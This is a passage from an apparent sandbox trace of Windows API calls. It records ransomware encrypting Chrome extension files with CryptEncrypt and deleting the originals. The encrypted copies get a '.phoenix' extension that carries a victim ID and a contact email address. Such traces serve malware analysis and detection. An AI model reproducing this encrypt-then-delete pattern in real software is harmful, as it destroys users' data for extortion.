	[0260.010] WriteFile (in: hFile=0x240, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0xf2, lpOverlapped=0x0) returned 1
	[0260.010] CryptDestroyKey (hKey=0x151100) returned 1
	[0260.010] CloseHandle (hObject=0x250) returned 1
	[0260.010] CloseHandle (hObject=0x240) returned 1
	[0260.011] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\zh_TW\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\zh_tw\\messages.json")) returned 1
	[0260.011] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
	[0260.011] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_metadata\\verified_contents.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_metadata\\verified_contents.json"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x240
	[0260.012] GetFileSizeEx (in: hFile=0x240, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=11221) returned 1
	[0260.012] CloseHandle (hObject=0x240) returned 1
	[0260.012] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_metadata\\verified_contents.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_metadata\\verified_contents.json")) returned 0x20
	[0260.012] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_metadata\\verified_contents.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_metadata\\verified_contents.json.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0260.012] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_metadata\\verified_contents.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_metadata\\verified_contents.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x240
	[0260.012] SetFilePointerEx (in: hFile=0x240, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0260.012] SetFilePointerEx (in: hFile=0x240, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0260.012] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_metadata\\verified_contents.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_metadata\\verified_contents.json.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x250
	[0260.014] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdd0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe2c | out: phKey=0x2f4fe2c*=0x151300) returned 1
	[0260.014] CryptSetKeyParam (hKey=0x151300, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0260.014] ReadFile (in: hFile=0x240, lpBuffer=0x31b3020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f4fe54, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesRead=0x2f4fe54*=0x2bd5, lpOverlapped=0x0) returned 1
	[0260.046] CryptEncrypt (in: hKey=0x151300, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x2be0, dwBufLen=0x2be0 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x2be0) returned 1
	[0260.046] WriteFile (in: hFile=0x250, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0x2be0, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0x2be0, lpOverlapped=0x0) returned 1
	[0260.048] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdc4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe30 | out: phKey=0x2f4fe30*=0x151100) returned 1
	[0260.048] CryptSetKeyParam (hKey=0x151100, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0260.048] CryptEncrypt (in: hKey=0x151100, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x50, dwBufLen=0x50 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x50) returned 1
	[0260.048] CryptDestroyKey (hKey=0x151100) returned 1
	[0260.048] WriteFile (in: hFile=0x250, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0x102, lpOverlapped=0x0) returned 1
	[0260.048] CryptDestroyKey (hKey=0x151300) returned 1
	[0260.048] CloseHandle (hObject=0x240) returned 1
	[0260.048] CloseHandle (hObject=0x250) returned 1
	[0260.048] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_metadata\\verified_contents.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_metadata\\verified_contents.json")) returned 1
	[0260.049] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
	[0260.049] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\manifest.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\manifest.json"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x250
	[0260.050] GetFileSizeEx (in: hFile=0x250, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=728) returned 1
	[0260.050] CloseHandle (hObject=0x250) returned 1
	[0260.050] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\manifest.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\manifest.json")) returned 0x20
	[0260.050] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\manifest.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\manifest.json.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0260.050] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\manifest.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\manifest.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x250
	[0260.050] SetFilePointerEx (in: hFile=0x250, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0260.050] SetFilePointerEx (in: hFile=0x250, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0260.050] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\manifest.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\manifest.json.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x240
	[0260.051] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdd0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe2c | out: phKey=0x2f4fe2c*=0x1513c0) returned 1
	[0260.051] CryptSetKeyParam (hKey=0x1513c0, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0260.051] ReadFile (in: hFile=0x250, lpBuffer=0x31b3020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f4fe54, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesRead=0x2f4fe54*=0x2d8, lpOverlapped=0x0) returned 1
	[0260.103] CryptEncrypt (in: hKey=0x1513c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x2e0, dwBufLen=0x2e0 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x2e0) returned 1
	[0260.103] WriteFile (in: hFile=0x240, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0x2e0, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0x2e0, lpOverlapped=0x0) returned 1
	[0260.105] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdc4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe30 | out: phKey=0x2f4fe30*=0x151100) returned 1
	[0260.105] CryptSetKeyParam (hKey=0x151100, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0260.105] CryptEncrypt (in: hKey=0x151100, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x40, dwBufLen=0x40 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x40) returned 1
	[0260.105] CryptDestroyKey (hKey=0x151100) returned 1
	[0260.105] WriteFile (in: hFile=0x240, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0xf2, lpOverlapped=0x0) returned 1
	[0260.105] CryptDestroyKey (hKey=0x1513c0) returned 1
	[0260.105] CloseHandle (hObject=0x250) returned 1
	[0260.105] CloseHandle (hObject=0x240) returned 1
	[0260.105] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\manifest.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\manifest.json")) returned 1
	[0260.106] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
	[0260.106] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\en\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\en\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x240
	[0260.107] GetFileSizeEx (in: hFile=0x240, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=179) returned 1
	[0260.107] CloseHandle (hObject=0x240) returned 1
	[0260.107] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\en\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\en\\messages.json")) returned 0x20
	[0260.107] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\en\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\en\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0260.107] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\en\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\en\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x240
	[0260.107] SetFilePointerEx (in: hFile=0x240, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0260.107] SetFilePointerEx (in: hFile=0x240, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0260.107] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\en\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\en\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x250
	[0260.108] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdd0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe2c | out: phKey=0x2f4fe2c*=0x151740) returned 1
	[0260.108] CryptSetKeyParam (hKey=0x151740, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0260.108] ReadFile (in: hFile=0x240, lpBuffer=0x31b3020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f4fe54, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesRead=0x2f4fe54*=0xb3, lpOverlapped=0x0) returned 1
	[0260.108] CryptEncrypt (in: hKey=0x151740, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0xc0, dwBufLen=0xc0 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0xc0) returned 1
	[0260.108] WriteFile (in: hFile=0x250, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0xc0, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0xc0, lpOverlapped=0x0) returned 1
	[0260.109] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdc4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe30 | out: phKey=0x2f4fe30*=0x151200) returned 1
	[0260.109] CryptSetKeyParam (hKey=0x151200, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0260.109] CryptEncrypt (in: hKey=0x151200, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x40, dwBufLen=0x40 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x40) returned 1
	[0260.109] CryptDestroyKey (hKey=0x151200) returned 1
	[0260.109] WriteFile (in: hFile=0x250, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0xf2, lpOverlapped=0x0) returned 1
	[0260.109] CryptDestroyKey (hKey=0x151740) returned 1
	[0260.109] CloseHandle (hObject=0x240) returned 1
	[0260.110] CloseHandle (hObject=0x250) returned 1
	[0260.110] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\en\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\en\\messages.json")) returned 1
	[0260.110] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
	[0260.111] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\es\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\es\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x250
	[0260.111] GetFileSizeEx (in: hFile=0x250, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=179) returned 1
	[0260.111] CloseHandle (hObject=0x250) returned 1
	[0260.111] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\es\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\es\\messages.json")) returned 0x20
	[0260.111] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\es\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\es\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0260.111] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\es\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\es\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x250
	[0260.111] SetFilePointerEx (in: hFile=0x250, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0260.112] SetFilePointerEx (in: hFile=0x250, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0260.112] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\es\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\es\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x240
	[0260.112] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdd0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe2c | out: phKey=0x2f4fe2c*=0x151340) returned 1
	[0260.112] CryptSetKeyParam (hKey=0x151340, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0260.112] ReadFile (in: hFile=0x250, lpBuffer=0x31b3020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f4fe54, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesRead=0x2f4fe54*=0xb3, lpOverlapped=0x0) returned 1
	[0260.113] CryptEncrypt (in: hKey=0x151340, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0xc0, dwBufLen=0xc0 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0xc0) returned 1
	[0260.113] WriteFile (in: hFile=0x240, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0xc0, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0xc0, lpOverlapped=0x0) returned 1
	[0260.114] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdc4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe30 | out: phKey=0x2f4fe30*=0x1511c0) returned 1
	[0260.114] CryptSetKeyParam (hKey=0x1511c0, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0260.114] CryptEncrypt (in: hKey=0x1511c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x40, dwBufLen=0x40 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x40) returned 1
	[0260.114] CryptDestroyKey (hKey=0x1511c0) returned 1
	[0260.114] WriteFile (in: hFile=0x240, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0xf2, lpOverlapped=0x0) returned 1
	[0260.114] CryptDestroyKey (hKey=0x151340) returned 1
	[0260.114] CloseHandle (hObject=0x250) returned 1
	[0260.114] CloseHandle (hObject=0x240) returned 1
	[0260.114] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\es\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\es\\messages.json")) returned 1
	[0260.115] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
	[0260.115] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\fi\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\fi\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x240
	[0260.116] GetFileSizeEx (in: hFile=0x240, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=179) returned 1
	[0260.116] CloseHandle (hObject=0x240) returned 1
	[0260.116] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\fi\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\fi\\messages.json")) returned 0x20
	[0260.116] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\fi\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\fi\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
